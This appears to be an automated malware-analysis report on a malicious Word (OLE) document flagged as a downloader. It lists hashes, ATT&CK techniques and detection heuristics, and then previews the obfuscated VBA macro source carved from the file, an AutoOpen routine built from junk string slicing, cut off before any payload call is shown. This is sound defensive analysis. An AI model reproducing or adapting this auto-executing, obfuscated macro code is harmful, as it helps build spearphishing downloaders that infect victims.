Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a77a8230f65305cb…

MALICIOUS

Office (OLE)

198.4 KB Created: 2018-09-25 10:45:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: e328a391e6d81bde7043646d3aa31cae SHA-1: 1cbf281633ccf7a0fb09b5e225aa28a89fec9d44 SHA-256: a77a8230f65305cbb380631f4f5561438326546cbd4085340a81aec648626aba
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, indicating an attempt to execute external code. The presence of the ClamAV detection 'Doc.Downloader' further supports that this document is designed to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6698374-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6698374-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 198796 bytes
SHA-256: a2314ea0030a371b87137620fb13ebe10fa78796a213762af5275107aed2b9d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dnMpabRzY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim EEicLL(1)
EEicLL(0) = Right(wsBBN + KphHmipDLGEOowjE + WLqNC, 851) + Mid(UwKjmzm + XPZObREGBiDDSFodqu + iHiMwY, 589, 208) + Mid(FLoTruul + qRiRjdjJJHuuHtEIhX + NzHUj, 270, 879) + MidB(mjiNd + wvzBSiHuYjBqdzLQUYft + ZCLEPh, 585, 564)
   Dim fNXGG(2)
fNXGG(0) = Left(DKwidTRI + CmbSjGwSlmuXaLZtj + zNMDi, 136) + Mid(ktkmii + wHKInLInYZsOjlp + FfYGJv, 7, 871) + Left(wbiDcmZ + wBDQJhOsfDBouRiDwr + wCczUE, 301) + Mid(FQoNB + YXhINGHjFCLEWzjFNhkS + DwwYFPA, 53, 388)
fNXGG(1) = MidB(KrErTVR + EXlYjdvAhoFYfmiapB + rFWHfOt, 238, 367) + Left(YjLXp + EBnqWlMhhmqYBvnMhwhGU + RGdzO, 870) + Left(wGwBj + lhMacfFdRFdinXuSUFQhTs + Eoqsia, 737) + Mid(uusWL + hIPbQZLjPQpUztKBoCZWCw + AXbwIb, 618, 14)
   Dim pwuqW(1)
pwuqW(0) = MidB(hbNurE + WsOmIEMrRQaOzIkivQk + wEnvi, 873, 264) + Mid(OZCvK + CkDYGjjSYpHHmIGp + sizEDX, 988, 465)
   Dim mapnf(1)
mapnf(0) = MidB(aLissbN + BMvHQBisjvSfrFRnCKXl + FioWhbwz, 703, 600) + Right(PvkvDvz + vTYUaJFUibRTKPLFwUuMn + VCGHc, 733) + Left(KPQBGR + QAqQwlRFjtwzAHkiXwNCoiwz + NFnXbi, 225) + Right(FkkBSs + ZJHfWiduCwBiNfaiGbV + oFSCmwuJ, 936)
   Dim lLjHH(1)
lLjHH(0) = Left(IWHiT + RPuFmVQYvjKRqYBiaDtKz + IwsWo, 806) + MidB(YsbViFu + lawWTkVipGjYFaMSuCGqK + faHrYj, 90, 122) + MidB(KpoNXr + swzmjEsbDkimBEuXQQ + ShWokXE, 441, 215) + Mid(SnStujmj + VtoYDJcUOjRShjTUXj + uTwjL, 17, 760)
   Dim QazbVB(2)
QazbVB(0) = MidB(ziGFbST + lCtjKCPTjTppOSMSQCmtS + DqiQLWt, 877, 515) + Mid(IGYjHoUl + PntQvjowIawZoRVwv + zTDRtjvw, 491, 625) + MidB(oClzQV + cMSqcKSXzoppZMdHCt + unFKWDR, 100, 528) + Right(LlAMoTWc + roJMMLmNHLbdXCnPGtND + EZApnj, 313)
QazbVB(1) = MidB(CzwzJ + SNdfkHcRDiNUlnzImmw + vBVVDaS, 580, 458) + Left(zariwwp + zCGbYNJAErWnBjjGqlEp + iKvSM, 819) + Left(pdtutw + SdTlELIvJojiMOWtDNho + zzYqotKQ, 466) + MidB(WGASmnW + NqqjjWDmEloFNASGP + JjSpIV, 511, 321)
   Dim AmUDt(2)
AmUDt(0) = Right(fSUwQKjJ + juvOfbDJmdXjNoSbC + VGjlO, 371) + Right(KzjSEPAz + tzjMTHzSCWROYYoitJI + bjnuQQ, 253)
AmUDt(1) = Mid(MJtXJmYf + kRtQvfrMRbjOknULj + hUUfVAOB, 191, 275) + Left(fDiPs + YAXUHXJYzETfjZwPjfdL + KiEKCX, 538) + Left(coKzMILr + FuOGkITdGFvHwsFwV + zhXGYZj, 134) + Left(nJBSwYTq + wPsjwrQPGsUadjdvikWj + jOoAU, 715)
   Dim WdwniP(2)
WdwniP(0) = Mid(vuqMGAV + kATLjTwpFEEwbjkzlRbTlkcm + nSczXQnK, 474, 802) + Left(woKcfwSK + GhwVIhbEhOwGFaLtaaF + TnIIEfT, 458) + MidB(MvACIGd + ckAhYAaHRBjADUXYWZ + haahEYCn, 934, 560) + MidB(BTGkI + MGPzLoAniEbLPGzTVwE + DjBKi, 281, 751)
WdwniP(1) = Right(RAjSbPpQ + ErBImHznpIJKviqdRY + juOKAiid, 100) + MidB(ZMBXPDhO + iHtGHjkmFqJCSOXUELDj + wtGbZ, 707, 192)
tXEVcoNjozLQc (KeyString(vLtjjLBN + cJDGm + 3 + 9 + 6 + 2 + 47 + ntoUk + FGUDM) + MfvLO + FwEcHMQ + KeyString(zQWrkMEZ + jaaqw + 3 + 10 + 7 + 2 + 55 + sQdIuXph + ksdqtkMX) + UiEZljFKzGi + GYrNLf + bufOcwjtVGa + awXuEAt + rGQfFU + ISHlZQo + ARcnK + ZajraDhon + kwYalIoo + vbbtnzFd + NkcKY + aVTjoMLmji + HHfah + diorHd + rQuSiX)
   Dim Snaqh(1)
Snaqh(0) = Mid(nNMJls + WOSjuAOomiEZDfaUpcGtdM + HjBnTF, 604, 97) + Right(icCDw + DJukhQKYEOPUkiHHlw + twaTPzRm, 575) + Mid(aCPhZulc + RpkSKUvrCFrLASBMHS + fPQUBiNA, 434, 328) + MidB(IpBEFzq + jirPvSjPnhhsFXTNdCjaM + RRwHKcz, 632, 926)
   Dim pqvLS(2)
pqvLS(0) = MidB(bYSjDQv + sCANtrVASfTWpSlfuLQEA + TpwiCv, 902, 185) + Left(XIVzViK + MEiUqliQZczAKfYVQjYNP + JQiZhF, 85) + Right(IkUGtXfU + iXwpYpJpOoqSDXbBrXtzTW + OcsEE, 557) + Left(wLaJkXQ + CRSRjSIzsZoZiSvNrKkOA + QoYRTHZ, 165)
pqvLS(1) = MidB(WufJk + ksuWhHZcDdiSwHBUZB + PRMOOi, 312, 60) + Right(wdHZE + wKrEvizEzXIPLaiEUtL + AWbTa, 205)
   Dim TYVcOa(1)
TYVcOa(0) = Left(vNjKqqj + TcaHIVSrHiCmrnvpWnZYJ + hkmSX, 866) + Left(muIZK + NWSwcWBPDuouDRjGnh + kllbEn, 741) + Right(mTZCGLw + jXOczVsrrsElziMrh + doKGZP, 830) + MidB(iOdwF + lNFMwWjWwoFXwtWtaS + GBtlJqmW, 615, 740)
   Dim FFPmQ(2)
FFPmQ(0) = MidB(QvPkwLh + JNAIfqSKnIcFJWUSN 
... (truncated)

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